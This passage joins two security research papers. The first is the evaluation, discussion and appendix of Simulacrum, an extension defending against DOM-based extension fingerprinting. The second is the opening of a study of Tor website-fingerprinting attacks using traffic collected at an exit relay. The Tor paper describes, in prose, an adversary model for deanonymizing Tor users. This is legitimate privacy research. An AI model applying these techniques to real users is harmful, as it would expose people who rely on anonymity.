for 85% of the sites, Simulacrum does not intercept half of the
JavaScript API calls, while for half of the sites almost 76.85%
of the calls are unaffected. We also plot the 20 most commonly
invoked interfaces in Figure 4. The most common interface
is String, used more than one billion times in the top 10K
websites. Among these interfaces we only override the eight
highlighted interfaces as Simulacrum does not need to modify
the rest. We find that the invocations of String are 2.5x those
of Node and 31x those of Document. Generally, we observe
that the majority of JavaScript API calls do not interact with the
DOM and are thus not affected by Simulacrum. Next, we focus
on more precisely quantifying our performance overhead.

DOM loading time. In this experiment we visit the top 1k
websites with two browser instances, one that has our exten-
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Figure 4: Interface invocations in the top 10K websites.
Interfaces overridden by Simulacrum are explicitly noted.

sion installed and one without, and compare the time required
for loading the websites’ DOM. To account for uncontrollable
fluctuations in the environment (network latency, OS schedul-
ing, etc.), we average the results for each website over 10 runs.
Overall, we were able to obtain both loading times for 925 out
of the 1k websites that we visited. We observed that for 19 of the
remaining 75 websites the page loaded successfully when vis-
iting with a vanilla browser but did not complete loading when
using a Simulacrum browser. The remaining 56 did not load
successfully when using a vanilla browser but, interestingly,
five of them loaded when visiting with Simulacrum installed.

In Figure 5 we present the difference in DOM loading
times for the 925 websites in both absolute and relative
measurements. We observe that 69% of those websites incur
less than a one second overhead, demonstrating the feasibility
and practicality of our approach. We also measured the delay
imposed by overriding all relevant JavaScript functions, and
the overhead of inserting noise; these amount to an average
of 14.8ms and 31ms respectively.

Regarding DOM loading times, we observe a negative differ-
ence for 63 websites (6.81%) and a positive difference for 862
websites (93.19%). In the case of negative differences, these
websites appear to complete loading faster when we visit them
with a browser that has our extension installed. We found that
half of these websites (33 out of 63) have a “speed-up” lower
than 200 milliseconds, and that only 6 of the websites appear
to surpass one second. While small, such negative differences
can be attributed to network delays. In the case of significant
differences this could be the result of our defense affecting a
website’s functionality or blocking the retrieval of content, ads,
etc., and thus complete loading faster. For the 862 websites
that have a positive difference, where our defense introduces
a delay overhead, we found that this delay is 895 milliseconds
(116% relative) on average; 563 of the websites exhibit more
than 50% relative overhead, with 254 sites between 50%-100%,
194 between 100%-200%, and 115 sites with more than 200%
of overhead, which heavily skews the overall overhead, as
can be seen in Figure 5. More specifically, we observe that the
delay for half of the websites (431 out of 862) is below 390 mil-
liseconds (38% relative) and that only 11.72% (101 out of 862)
observe delays that exceed two seconds (224% relative). When
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Figure 5: DOM loading time difference caused by Simulacrum.

extensions that remove page elements are present, Simulacrum
activates an additional protection for replacing these elements
(see position-based attacks, §4.4), and an additional overhead
of 172 milliseconds is incurred per website on average.

User experience. As the additional JavaScript code and
DOM manipulations might impact the user experience, we
experimentally quantify the impact using Google Light-
house [25]. Lighthouse is an open-source automated tool
for obtaining performance metrics and insights [25], which
provides an overall performance score based on six met-
rics; among those, we are specifically interested in the
time-to-interactive (TTI) metric as it is not affected by
network fluctuations. The TTI metric focuses on the amount of
time it takes for a web page to become fully interactive. To mea-
sure TTI, Lighthouse waits for the page to display useful con-
tent and registers event handlers for most visible page elements.

To evaluate Simulacrum on sites with heavy JavaScript us-
age we refer to BuiltWith [11], which publishes a list of popular
JavaScript technologies across the web. We select five popular
technologies and for each we randomly choose ten out of the
list of top 50 websites. We run the Google Lighthouse perfor-
mance analysis tool against each website, with and without
Simulacrum installed, and visit each website ten times in each
setup. We calculate the average TTI overhead for websites that
loaded and had a positive overhead. As can be seen in Table 2,
in most cases the overhead is less than one second, while the
largest overhead of 2.47 seconds is observed in sites built with
Bootstrap. When taking into consideration the average page
loading times recently reported for popular websites in the
US [27] (with ∼60% and 18% of pages requiring more than
10 and 30 seconds respectively) we argue that the overhead
introduced by our prototype is reasonable given the privacy
enhancements offered by our approach. We believe that this
tradeoff can be significantly improved by leveraging DOM
Reality Shifting for deploying defenses against other classes
of web attacks, which we consider as part of our future work.

Furthermore, we evaluated Simulacrum using the Celtic
Kane [7] open-source benchmark for JavaScript and DOM
speed tests. The results show that Simulacrum does not influ-
ence the duration of most test cases, as shown in Figure 7 in
the Appendix. While the DOM benchmark increases from 8ms

Table 2: Average Time-To-Interactive overhead in seconds.

Technology TTI Overhead

core-js 1.44 (17.5%)
facebook-SDK 0.99 (19.35%)
react 0.65 (16.56%)
bootstrap 2.47 (24.76%)
lodash 0.58 (16.53%)

to 38ms, overall our performance tests indicate that overhead
is negligible or within acceptable ranges when compared to
the loading times and responsiveness of modern websites.

Memory overhead. We crawled the top 1k websites with
and without Simulacrum and measured the heap usage of
JavaScript (usedjsHeapSize/jsHeapSizeLimit) using the
performance.memoryAPI (this experiment does not measure
memory consumption for same-site iframes and workers and
also ignores garbage collection). We visited websites five times
and found an average increase in consumption of only 0.25%.

Website breakage. Next we explore how our anti-
fingerprinting extension impacts the general functionality of
web applications. To evaluate websites’ functionality, we ran-
domly selected 50 websites among the top 100 Alexa list and
interacted with each website by testing common operations
with Simulacrum installed (we provide more details on our
approach in the Appendix). We opted for popular websites
as they tend to offer rich functionality and make heavy use of a
wide range of JavaScript features, and their complexity allows
us to stress test our prototype. We also note that we followed
a continuous testing approach while developing Simulacrum,
which allowed us to identify implementation peculiarities in
websites and JavaScript frameworks/libraries, which allowed
us to refine our code for handling such cases. For instance,
we initially faced some issues in Instagram that were the
result of the shallow JavaScript node cloning API, which in
turn led us to improve our implementation of the deepClone
function. Assigning an id attribute to all page elements was
also challenging for a website such as Spotify; we handled
it by keeping a record of elements that do not require an id
attribute and tuning the corresponding getter functions.

Table 3 details the breakage caused by our system, with
major breakage in 6 sites (12%). Submitting credentials in
the Google and Amazon login pages results in a crash or an
error message. LinkedIn successfully passes authentication
and displays contents of the main page, however navigating
through the website is not smooth and contents might not show
properly. Finally, product details on the main Ebay page are
missing, but we can look up items in the website’s search bar.
We also found 5 websites (10%) with minor issues that do
not drastically impact websites’ core functionality, such as
affecting the page’s appearance or certain menu options being
disabled. While our system does not affect the majority of
websites that we tested, privacy-preserving defenses typically
introduce a trade-off between privacy and functionality.
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Table 3: Breakage in 50 randomly-chosen popular websites.

Breakage Statistics Websites

Major 6 (12%)
Authentication 2 (4%) google.com, amazon.com
Missing Content 2 (4%) linkedin.com, ebay.com
Disabled Actions 2 (4%) twitch.tv, etsy.com

Minor 5 (10%)
Disabled Elements 1 (2%) csdn.net
Appearance 2 (4%) tmall.com, office.com
Other 2 (4%) instagram.com, apple.com

Finally, Simulacrum supports allowlisting websites.
Extension breakage. While our experiments demonstrate

that Simulacrum is highly effective in hiding the presence of
installed extensions, we also need to verify that this protection
does not hinder extensions’ functionality. Therefore, we ran-
domly chose 50 English extensions from the list of protected
extensions to evaluate their functionality. For each extension,
we manually explore the extension to learn its functionality in
a clean Chrome browser, and then extensively re-evaluate its
functionality in the presence of Simulacrum. Our evaluation
shows that all of the extensions work properly and retain their
complete functionality, thus demonstrating that our system can
effectively protect the randomly chosen extensions without
hindering their functionality. We also experimentally verified
that Simulacrum does not interfere with other privacy exten-
sions that wrap APIs, by testing it with Privacy Badger [3],
AdBlock [1] and uBlock [6] across five popular news websites.

6 Discussion, Limitations, and Guidelines

Browser-based defense. While Simulacrum effectively
addresses the root cause of behavior-based fingerprinting,
our experimental evaluation reveals certain corner cases or
uncommon extension behaviors that lend themselves to finger-
printing. However, these idiosyncrasies are not fundamental
to the extension’s actual functionality and may even be the
result of developer oversight. As such, we provide explicit
guidelines for developers that allow them to protect their
extensions from being fingerprinted through minimal changes
that do not affect the extension’s functionality. We hope that
our work inspires browser vendors to consider incorporating
our defensive mechanism as native browser functionality, as
it would allow the browser to address cases that cannot be
handled by our solution due to the inherent limitations of an
extension-based defense, while further reducing overhead. We
note that this is theoretically feasible but might, nevertheless,
require significant effort or changes to a browser’s design.

Extension modification timing. For changes that occur
at document_start, modifications can be postponed to the
DOMContentloaded event without affecting the extensions’
functionality or the user experience in the vast majority of cases.
Unless this is absolutely necessary for functionality, develop-

ers should opt for running at document_idle or wait for the
DOMContentloaded event to be fired prior to making changes.

Injected scripts. We found 40 fingerprintable extensions
injecting scripts that modify the DOM instead of directly
modifying it from their content script. As the modifications
occur from a script being executed in the page’s execution
environment, Simulacrum does not exclude them from the
Parallel DOM. However, this approach does not offer any
additional capabilities, and we urge extension developers to
limit DOM-changing behavior to content scripts.

Breakage. Debugging popular websites and identifying the
root causes of breakage requires significant engineering effort
due to the use of advanced JavaScript libraries, obfuscation,
and code minification. The most common cause of breakage
early on was the shallow clone problem (see §4.1), which in-
troduced inconsistencies between the Parallel and User DOM.
Since Simulacrum is a research prototype that highlights the
efficacy of DOM Reality Shifting for preventing DOM-based
extension fingerprinting, we believe that our system’s effects
on JavaScript-heavy websites is acceptable, and should be
incorporated by browser vendors into the browser. That
engineering process would also likely address all breakage.

Simulacrum detectability. In practice, websites can
infer the presence of our extension (e.g., by observing the
id attributes that are added to elements). However, this
leaks minimal entropy compared to the entropy obtained by
fingerprinting multiple installed extensions (which can be
uniquely identifying [26, 29]), since the leaked information
is a binary attribute representing whether Simulacrum is
present (e.g., note the entropy of binary attributes compared
to more complex ones like the User-Agent or the list of
fonts [33]). Since the anonymity offered by privacy-enhancing
technologies (PETs) correlates with the number of users [20],
wide adoption of our defense would further decrease the
entropy leak (similar to any other PET, e.g., Tor [5]). If our
defense was incorporated into the browser this leak would be
eliminated. Moreover, Simulacrum has the additional privacy
benefit of preventing the inference attacks presented in [29].

Timing attacks. An interesting class of attacks are side-
channel timing attacks. This would involve page JavaScript
inferring if an extension added or modified an element due
to Simulacrum executing different code paths. Similarly,
Goethem and Joosen [64] exploited timing differences in
evaluating the web_accessible_resources property inside
an extension’s manifest file to infer its existence. In general
timing attacks are fairly tricky to implement, detect, and
prevent, yet history has shown that they only increase in
effectiveness. While such attacks are outside our current threat
model, they represent an exciting avenue for future work.

Manual analysis. Simulacrum uses different wrappers for
functions that are assigned to different categories. Categoriz-
ing functions relies on analyzing their behavior, which requires
assigning the correct argument(s) and receiver, and observing
the resulting behavior (which is not necessarily visible through
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JavaScript). Therefore, we manually analyze functions to
ensure we override them correctly. It is also important to
note that JavaScript interfaces tend to remain stable, and any
potential changes to methods can be easily handled. Moreover,
any new DOM APIs that appear can be readily integrated
following our existing implementation templates.

7 Related Work

Numerous papers have demonstrated or leveraged browser
extension fingerprinting techniques [26,29,48,51,59,64]. Sev-
eral studies over the past few years have either implemented or
proposed a wide range of anti-fingerprinting techniques; how-
ever, all of the methods differ in scope or capability from the
complete DOM-based-fingerprinting prevention implemented
by Simulacrum. As prior defenses mostly focus on other
fingerprinting techniques, those studies are complementary to
ours and, in practice, could be combined into a more holistic
and comprehensive anti-fingerprinting defense.

Prior work has enabled users to manually disable extensions
on specific websites [50, 57]. Simulacrum differs as it
works automatically without requiring user interventions
or decision-making. Other work [58] hides user interests
by randomly visiting websites, defending against a comple-
mentary fingerprinting technique. Sanchez-Rola et al. [48]
devised a timing-based method for fingerprinting extensions
and proposed modifications to the web browser’s extension
invocation to prevent the timing-based attack.

Most related to Simulacrum is CloakX [63], a defense that
modifies publicly accessible extension identifiers to prevent
fingerprinting. The modifications randomize web-accessible
resources [26,51] as well as other identifiers. However, CloakX
does not address behavioral fingerprinting and does not
prevent the majority of fingerprints generated by Carnus [29].
Conversely, Simulacrum effectively targets the root cause of
the attack, while employing a less invasive approach that does
not require modification of the user’s extensions.

Recent work proposed a countermeasure against CSS-based
extension fingerprinting [34]. Their defense creates a
mirror copy of the DOM tree using Shadow DOM, which
automatically excludes content styles from extensions. The
defense overrides the getComputedStyle method of each
element to return the style of the Shadow DOM elements so as
not to include the content styles injected by extensions. While
this work protects against a different class of fingerprinting
than Simulacrum, its proposed CSS defense would benefit
from using our techniques. It is important to note that the
Shadow DOM API [39] is not sufficient for implementing our
defense, as it was not designed to secure or hide page elements;
instead, it encapsulates elements to prevent problems such as
variable name collisions. Using it does not prevent a malicious
script from accessing the Shadow DOM’s content (even when
attached in closed mode). Therefore, the Shadow DOM does
not satisfy our security requirements. Unlike any prior work,

Simulacrum robustly overrides 1,532 functions that isolate
DOM modifications and prevents DOM-based fingerprinting.

Simulacrum extends the concept of virtual machine
layering, which creates an abstraction layer on top of the
JavaScript VM that controls sites’ access to APIs. This was
used for instrumenting JavaScript [35], enabling replay [40],
and controlling access to APIs [49,53]. Photon [35] transforms
JavaScript (outside the browser) to create a VM layer that
developers can use to instrument and evaluate their code.
Mugshot [40] captures and replays JS events using a server-
side web proxy. This only requires a single overriding strategy,
removing the need for categorizing functions (as we do for
Simulacrum) and allowing for straightforward automated
overriding; this, however, would not be sufficient for the chal-
lenging process necessitated by our defense. Moreover, unlike
Photon and Mugshot, anyone can use Simulacrum to protect
their privacy without requiring any external operations (e.g.,
translation or a server-side web proxy) or user intervention.
Even though Chrome Zero [49] and the tool from [53] enhance
privacy by allowing users to limit sites’ access to JavaScript
APIs, their approach is inherently designed to prevent website
functionality while our system focuses on maintaining it.

8 Conclusions

As privacy-invasive tactics remain rampant on the web,
developing privacy-enhancing countermeasures that augment
the protections currently offered by browsers is of paramount
importance. We proposed DOM Reality Shifting as a strategy
for tackling a particularly robust extension-fingerprinting
method that identifies how extensions’ functionality modifies
the web page. The inner workings and implementation details
of our prototype extension highlight the technical challenges
of implementing our strategy in practice, due to the inherent
complexities and peculiarities of the web. Nonetheless, our
evaluation demonstrates Simulacrum’s effectiveness against
the state-of-the-art DOM-based fingerprinting system, while
introducing minimal performance overhead. Overall, we
envision DOM Reality Shifting as a building-block for various
advanced privacy-enhancing browser countermeasures.
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Appendix

Overriding prototype methods. We employ the following
steps: keeping a reference to the original function (Line 1);
declaring and defining the new wrapper function (Lines 2-7);
implementing the overriding logic (Lines 3, 5); executing
the original function on proper inputs (Line 4); returning the
desired value from the function (Line 6); and assigning the
wrapper function to the object’s prototype to overwrite the
original method (Line 8).

1 let originalFunction = Parent.prototype.function;
2 let wrapperFunction = function() {
3 // [...] Custom logic
4 let returnValue = originalFunction.apply(obj, args);
5 // [...] Custom logic
6 return returnValue
7 }
8 Parent.prototype.function = wrapperFunction;

Listing 1: Overriding function from Parent’s prototype.

Overriding object properties. Listing 2 shows how we
use Object.defineProperty() to override the setter
and getter functions for the id property of the parentObj
prototype.

1 function overrideProperty(){
2 let propDes =
3 Ç Object.getOwnPropertyDescriptor(parentObj.prototype,'id');
4 let getRef = propDes.get;
5 let setRef = propDes.set;
6 Object.defineProperty(parentObj.prototype,'id', {
7 get: function() {
8 let retValue = getRef.apply(obj, args);
9 // Overriding logic

10 return retValue;
11 },
12 set: function() {
13 let retValue = setRef.apply(obj, args);
14 // Overriding logic
15 return retValue;
16 },
17 configurable: true,
18 enumerable: true
19 });}

Listing 2: Overriding id property from parentObj’s
prototype; obj and args values change based on our logic.

Recording function invocations. We created the extension
VisibleJS to gather information related to DOM usage by
websites. Listing 3 shows the script VisibleJS uses to wrap all
the JavaScript interfaces. While the webpage runs VisibleJS
reports the interfaces used by the website.
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1 let orig = original[<interface.method>];
2 interface.prototype['method'] = function(){
3 let toReturn = orig.apply(this, arguments);
4 collect(this, arguments, toReturn);
5 return toReturn;
6 }

Listing 3: VisibleJS general strategy.

Observer interfaces. Listing 4 shows simple examples
that demonstrate using three different types of observers.
ResizeObserver does not need a configuration parameter.
IntersectionObserver receives the configuration and call-
back parameters when it is constructed. MutationObserver
receives the callback during construction and receives the
target and the configuration details when the observe method
is invoked.

1 // Resize Observer
2 observer = new ResizeObserver(callback)
3 observer.observe(target)
4

5 // Intersection Observer
6 configuration = {root: element}
7 observer = new IntersectionObserver(callback, configuration)
8 observer.observe(target)
9

10 // Mutation Observer
11 configuration = {childList: true, subtree: true}
12 observer = new MutationObserver(callback)
13 observer.observe(target, configuration)

Listing 4: Observer instantiation examples.

MutationObserver. Listing 5 shows the wrapper code
used in the MutationObserver’s constructor. Simulacrum
overrides MutationObserver’s constructor to modify the
incoming callback. Before calling the original observer
method, the wrapper filters out the mutations that originate
from an extension.

1 original = MutationObserver;
2 class newMutationObserver{
3 constructor(){
4 callback = arguments[0];
5 newCallback = function(){
6 mutations = filterMutations(arguments[0])
7 if (mutations.length>0)
8 callback(mutations);
9 }

10 return new original(newCallback);
11 }}
12 MutationObserver = newMutationObserver;

Listing 5: Wrapping the constructor of MutationObserver.

Overriding functions. Table 4 shows the number of overrid-
den functions. The first column lists the noteworthy interfaces.
The leftmost grouping breaks the interfaces down by properties
and methods overridden. On the right side, the table breaks the
interfaces down by the type of wrapper used, with the most
common category being the simple setter and getter categories.

Examples of overridden functions. Table 5 displays
different function examples for each category with their
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Figure 6: Inheritance hierarchy in the DOM API.
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Figure 7: Run-time overhead when evaluating Simulacrum
with the Celtic Kane open-source benchmark speed tests.

overridden counterpart. For readability reasons we omit details
in the “Overridden Function” column. For example, we use
the “original” hash table (§4.1) for calling the functions but we
do not include them in this table for simplicity. That is, instead
of original["Element.innerHTML_setter"].call(e,"text"), we
write e.innerHTML="text".

Inheritance hierarchy. In Figure 6 we provide a partial
representation of the inheritance hierarchy in respect to the
DOM API and some of the interfaces pertinent to our work.

Breakage tests. We manually assessed Simulacrum’s effect
on extension and website functionality by testing common
operations with Simulacrum installed. We had a user freely ex-
plore websites with and without Simulacrum installed for a few
minutes and then report any effects to the browsing experience
when Simulacrum was present. This included assessing each
website’s functionality (e.g., login and payment processes,
playing videos, interacting with website-specific tools, etc.)
and was not limited to a visual inspection. For the scenarios
testing the impact on other extensions, a user first installed the
candidate extension and learned their expected functionality
on a few target websites (either the ones advertised in the exten-
sion’s overview page in the Chrome web store or on websites
of user’s choice). Subsequently, the expected functionality
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Table 4: The number of overridden functions for noteworthy interfaces.

Overridden Functions
Interface Properties Methods Total Simple Setter Simple Getter Active Setter Active Getter Arguments

Node 14 15 29 7 23 0 1 8
Document 264 40 304 20 34 115 153 6
Element* 1,283 189 1,472 687 968 84 193 14

* Element interface and all other interfaces that inherit from it.
Note: Some properties have both a setter and getter, thus the sum of used strategies is more than the total.

Table 5: Examples of different functions and our strategy for wrapping them.

Category Example Overridden Function
Simple getter document.getElementsByTagName("div") parallelDOM.getElementsByTagName("div")
Simple getter e.hasAttribute("src"); parallelDOM.getElementById(e.id).hasAttribute(’src’)

Active getter e.scrollTop
if (parallelDOM.getElementById(e.id))

userDOM.getElementById(e.id).scrollTop

Active getter document.activeElement
result = userDOM.activeElement;
return parallelDOM.getElementById(result.id);

Simple setter e.innerHTML = "text"
equivalentElement = getEquivalent(e);
e.innerHTML = "text";
equivalentElement.innerHTML = "text";

Simple setter document.write("text")
document.write("text")
parallelDOM.write("text");

Active setter e.requestFullscreen()
if (parallelDOM.getElementById(e.id))

userDOM.getElementById(e.id).requestFullscreen()

Arguments n.insertBefore(newNode, refNode)

equivNewNode = deepClone(newNode);
equivRefNode = getEquivalent(refNode);
equivNode = getEquivalent(n);
n.insertBefore(newNode, refNode);
equivNode.insertBefore(equivNewNode, equivRefNode);

was reevaluated with Simulacrum installed. In the case of
privacy extensions (Privacy Badger [3], AdBlock [1] and
uBlock [6]) we specifically chose five popular news websites
(nytimes.com, foxnews.com, abcnews.com, cnn.com and
bbc.com) which usually involve tracking scripts and verified
that these privacy extensions continued to operate as expected
and their functionality was not affected by Simulacrum.

Benchmarking tests. In Figure 7 we present the results
from our performance test using the Celtic Kane open-source
benchmark. We find that in most cases Simulacrum does
not affect performance, while for the DOM test our system
introduces a 30 millisecond overhead.

Noise-based defense against position-based attacks. In
Figure 8 we provide an example screenshot that shows a
page’s visual appearance when Simulacrum introduces noisy
elements as a countermeasure against position-based attacks.
These elements are simply empty spaces that change the
position of other elements on the page.

Figure 8: Example of site with added noise elements.
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Abstract
Website fingerprinting (WF) attacks on Tor allow an adversary
who can observe the traffic patterns between a victim and the
Tor network to predict the website visited by the victim. Exist-
ing WF attacks yield extremely high accuracy. However, the
conditions under which these attacks are evaluated raises ques-
tions about their effectiveness in the real world. We conduct
the first evaluation of website fingerprinting using genuine
Tor traffic as ground truth and evaluated under a true open
world. We achieve this by adapting the state-of-the-art Triplet
Fingerprinting attack to an online setting and training the WF
models on data safely collected on a Tor exit relay—a setup
an adversary can easily deploy in practice. By studying WF
under realistic conditions, we demonstrate that an adversary
can achieve a WF classification accuracy of above 95% when
monitoring a small set of 5 popular websites, but that accuracy
quickly degrades to less than 80% when monitoring as few
as 25 websites. We conclude that, although WF attacks may
be possible, it is likely infeasible to carry them out in the real
world while monitoring more than a small set of websites.

1 Introduction

Tor [10] is a popular anonymous communication network in
which about 6,500 volunteer-operated relays [45] are used to
enhance the privacy of two [45] to eight [28] million users
daily. Using the Tor browser, users can protect themselves
against online tracking and surveillance, resist traffic finger-
printing, and circumvent censorship [46]. Tor clients route
their internet communication through a circuit of three proxy
relays using a modified form of onion routing [11]. This de-
sign prevents any single observation point on the routing path
from linking the source and destination of the communication.

The most damaging attacks against the Tor network are
those that break unlinkability and enable deanonymization of
users. In a Website Fingerprinting (WF) attack, an adversary
needs only to observe the Tor entry point in order to break the
unlinkability between users and the websites they browse. In

contrast, end-to-end correlation attacks require an adversary
to observe both the Tor entry and exit points [30].

Early WF studies demonstrate increasingly accurate at-
tacks [3, 4, 13–16, 25, 27, 29, 43, 52, 55], but are criti-
cized for making impractical assumptions [19, 35, 37]. Juarez
et al. [19] show that WF attackers experience a significant
loss in accuracy when considering: (i) realistic world sizes;
(ii) diversity of browser versions and configuration choices;
(iii) variation in client browsing behaviors (browsing inner
pages and using multiple tabs at once); (iv) the network loca-
tion of the client; and (v) concept drift (trained models rapidly
become stale over time). In response, researchers considered
data freshness [53], larger and more diverse sets of web-
sites [34, 37], the base rate problem [51], and other issues [23,
31, 36]. Their results, however, still depend on unrealistic
assumptions, which are a consequence of the following limi-
tations in their adversarial model and evaluation methodology:
– Synthetic Traffic Generation: In Tor, a WF adversary po-

sitioned at the entry relay cannot collect ground truth about
the websites that are visited by Tor users. Thus, adversaries
are forced to simulate user behavior by using automated
browsers to crawl popular URL lists [21, 44]. Often, these
lists are singularly composed of website homepages, and
the extent to which home vs. internal pages are visited by
real Tor users is unknown [28]. Automatically crawling
these lists not only inaccurately represents real Tor user be-
havior, but also imposes restrictions on the world sizes that
can be studied [53]. These conditions lead researchers to
significantly overestimate the accuracy of WF attacks [19].

– Concept Drift: Attacks in the literature are evaluated in
a static world using datasets that are collected at a par-
ticular point in time. Attack training and evaluation are
performed offline on data from the same collection period.
This approach cannot capture realistic changes in the traf-
fic patterns that occur naturally over time. Such changes
may significantly deteriorate the predictive abilities of the
trained models and reduce the accuracy of attacks [19, 37].

Due to these limitations, no public study has conclusively
shown that Tor WF attacks can be successful in the real world.
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In this work, we contribute the first evaluation of the true
threat of WF attacks against Tor users in the real world:
– In § 3 we define a new threat model in which the adversary

collects real website traffic samples at an exit relay. This
new model enables the adversary to collect representative
ground truth measurements while inherently accounting for
real world traffic heterogeneity; the adversary will observe
the evolution of the true distribution of (i) the websites and
webpages that Tor users actually visit, and (ii) the traffic
patterns generated by web visits. Our approach enables us
to avoid the limitations of prior evaluations.

– In § 4 and § 5 we describe new methods for safely training
on genuine traffic that is observable by Tor exit relays.

– In § 6 we compare the efficacy of attack models trained on
synthetic and genuine data and find that those incorporating
genuine data perform significantly better in the real world.

– In § 6 we provide a first evaluation of the true threat of
WF against real Tor users. Our evaluation shows that while
attacks can exceed 95% accuracy when monitoring a small
set of 5 popular websites, indiscriminate (non-targeted)
attacks against sets of 25 and 100 websites fail to exceed
an accuracy of 80% and 60%, respectively.

Ethical Considerations: Since our evaluation utilizes data
from the real Tor network, user safety was a primary concern
during our study. When designing our methodology, we have
contacted the Tor Safety Board to discuss the safety precau-
tions we put in place. We provide additional details in § 4.
We also sent early drafts of our work to members of the Tor
Project to provide responsible disclosure of our findings.

2 Background and Motivation

The Tor network consists of a set of relays, i.e., overlay net-
work routers that forward encrypted data on behalf of Tor
clients. A primary use-case of the Tor network is browsing
the web with Tor Browser. A Tor client, which is embedded
in Tor Browser, routes web requests through the Tor network.
The Tor client builds a circuit through typically three relays
called the entry, middle, and exit relays using a telescoping
process. As a user browses the web, the Tor client forwards
web requests to the exit relay through a circuit. The exit for-
wards the requests to the required destination IP addresses
(i.e., web servers), and returns the responses via the circuit.

To hinder traffic analysis, Tor repackages all data sent
through the circuit (in both directions) into constant-sized
cells, which are onion-encrypted once for each relay in the
circuit and padded to limit information leakage. The number
of forwarded cells and their directionality can be observed by
the relays and can be very revealing. We define a collection of
cell sequences corresponding to a series of web requests for
a particular website w as a matrix c where ci j ∈ {+1,−1,0}
indicates the direction of the j-th cell in the i-th web request
for w; conventionally, +1 represents an outgoing cell sent

from a client toward an exit,−1 is an incoming cell sent from
an exit toward the client, and 0 represents padding (to handle
cell sequences of different lengths). Packet sequences are
analogously computed over a series of packets. We refer to
these as traffic traces.

Tor clients are not anonymous w.r.t. their entry relay: an
entry can associate the observed encrypted traffic patterns to
their IPs. Since the traffic is encrypted and the circuit contains
multiple hops, the entry cannot identify the clients’ destina-
tion. Similarly, the exit makes web requests on behalf of the
clients, but it cannot directly observe a client. Therefore, Tor
provides unlinkable communication to its users.

2.1 Traditional Tor Website Fingerprinting

Tor WF attacks enable an adversary that observes the en-
crypted traffic from a user to predict which website this user
is visiting. The adversary is interested in a subset of the web-
sites visited by users, the monitored sites. The remaining sites
are the unmonitored sites. The adversary is free to arbitrar-
ily choose the monitored sites. In a closed world evaluation,
users only visit monitored sites; in an open world evaluation,
users can also visit unmonitored sites.

To conduct a WF attack, the adversary first trains a machine
learning classification model and later deploys this model
against users’ traffic (see Figure 1). During the training phase,
the adversary collects a cell sequence matrix (as defined in the
previous section) for each website in a list of l websites, where
each matrix is labeled with the name of the corresponding
website w. This labeled dataset, which contains only moni-
tored websites, is used as a training set for a classification
model to recognize websites.

During the deployment phase, the adversary collects unla-
beled traffic traces produced by Tor users. For each observed
trace, the adversary queries the trained model to: (i) decide
whether the trace corresponds to a monitored or to an un-
monitored site; and (ii) if the site is classified as monitored,
predict the website w. The adversary classifies the traffic trace
into one of the following labels: {w1, ...,w`,⊥} , where wi
represent the elements of the monitored set, and ⊥ indicates
the website is unmonitored.

2.2 Limitations of Traditional Tor WF

In the traditional WF adversary model, it is assumed that the
adversary can observe a user’s traffic if: (i) it is running a Tor
entry relay that the user selected as its entry into the network;
or (ii) it runs or controls some part of the network path be-
tween the user and its entry relay. This traffic is encrypted, but
the adversary can observe the associated meta-data (packet
sizes, timing, and directionality). If running an entry relay,
the adversary can observe additional meta-data about Tor
protocol-level control and data cells.
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(a) Training Phase

(b) Deployment Phase

Figure 1: The traditional WF adversary model. (a) The adversary
uses an automated browser (e.g., Selenium [47]) to collect a series of
traffic traces via the Tor network for each website in the monitored
set, and uses the labeled traces to train a machine learning prediction
model. (b) The adversary observes unlabeled user traffic traces and
uses the trained model to predict the label (i.e., the visited website).
The observations can be made at any point between the client and
entry that the adversary controls (e.g., wifi or cellular access point,
internet routers or exchange points, or the Tor entry relay itself).

Motivated by the assumed position of the adversary, re-
search on WF generally considers an adversary that uses an
entry-side vantage point both for the training and the de-
ployment phases (as in Figure 1). However, the protection
provided by Tor’s encryption and routing prevents researchers
(and, in fact, any adversary in this position) from collecting
ground truth information (website labels) on the encrypted
traffic traces (as in Figure 1b).

To overcome this problem, researchers typically generate
synthetic traffic traces for which they know the ground truth
label, and use them for training and evaluation purposes. Re-
searchers synthetically generate traffic traces by crawling
popular webpages through Tor using an automated browser
under their control, and collect these traces in the path be-
tween the client and the entry relay (typically locally on the
client’s machine, as in Figure 1a). Using synthetic traffic seri-
ously limits the attempts of researchers (and adversaries) to
understand the effectiveness of WF attacks against Tor users.
The main problem is that this traffic is significantly less di-
verse than the traffic that would be observed in the wild. The
main reasons for the lack of data diversity include:

Automated Browser: Automated browser crawlers, like
Selenium [47], are generally used with a fixed (or near
fixed) browser configuration (e.g., version, language) and net-
work configuration (e.g., geolocation, provider). Thus, these
crawlers cannot represent the diversity of browser and net-
work configurations that are observed in the real world [19].

Synthetic User Behavior: There exists no realistic model
of Tor user browsing behavior. Most previous work serially
(in a single tab) fetches (only) the homepage of the sites in
their open world list (e.g., google.com). The traffic produced

by this synthetic browsing behavior is unrepresentative of the
real user behavior that an adversary would observe in practice,
which will be significantly more complex and diverse.

Synthetic Destinations: Researchers have a limited under-
standing of the websites that Tor users access and the pages
(and subpages) they visit [28]. As a result, they unrealistically
assume that the open world consists of a limited number of
website homepages that are generally chosen from the Alexa
top sites list [44]. They also assume that users only visit a
subset of these pages. These assumptions simplify the WF
problem to homepage or webpage fingerprinting rather than
true website fingerprinting.

Concept Drift: Researchers collect and label webpages
from a static world, which is not only unrepresentative of the
scale of the real world, but also quickly becomes outdated
as websites are updated. This is known as concept drift: as
websites change over time, a trained classification model will
become increasingly inaccurate in its predictions. Static evalu-
ations that do not consider concept drift may over-estimate the
expected accuracy of WF attacks. To limit the deterioration
of attack accuracy due to concept drift, a realistic adversary
would need to continuously re-fetch the latest pages and re-
train its classification models [19, 53].
These synthetic traffic limitations simplify the learning prob-
lem, and raise doubts about the true effectiveness of WF at-
tacks developed under the traditional adversarial model [19].

3 Online Website Fingerprinting

The primary limitations of the traditional adversary model de-
scribed in § 2 relate to unrealistic user modeling and synthetic
data. Rather than trying to collect larger synthetic data sets or
improve browsing models [34, 37, 53], we consider a new ad-
versarial model that allows us to evaluate the effectiveness of
WF in the real world without needing to model user behavior.

3.1 Adversary Model

Genuine Exit Traffic: We consider an adversary that runs
an exit relay and uses it to collect genuine Tor traffic traces
that are used for a WF attack. We build on the observation
that the adversary is not limited to observe and collect data
on an entry-side link [18]. Collecting genuine data from an
exit relay allows us to overcome all of the synthetic traffic
generation limitations described in § 2.2, and offers several
advantages for deploying and evaluating WF attacks under
realistic conditions.

First, exit relay observations allow the adversary to ac-
curately label encrypted traffic of regular anonymous users
by extracting the destination domain they visit. The domain
being accessed by the user can be observed through DNS
lookups performed by the exit on the circuit before request-
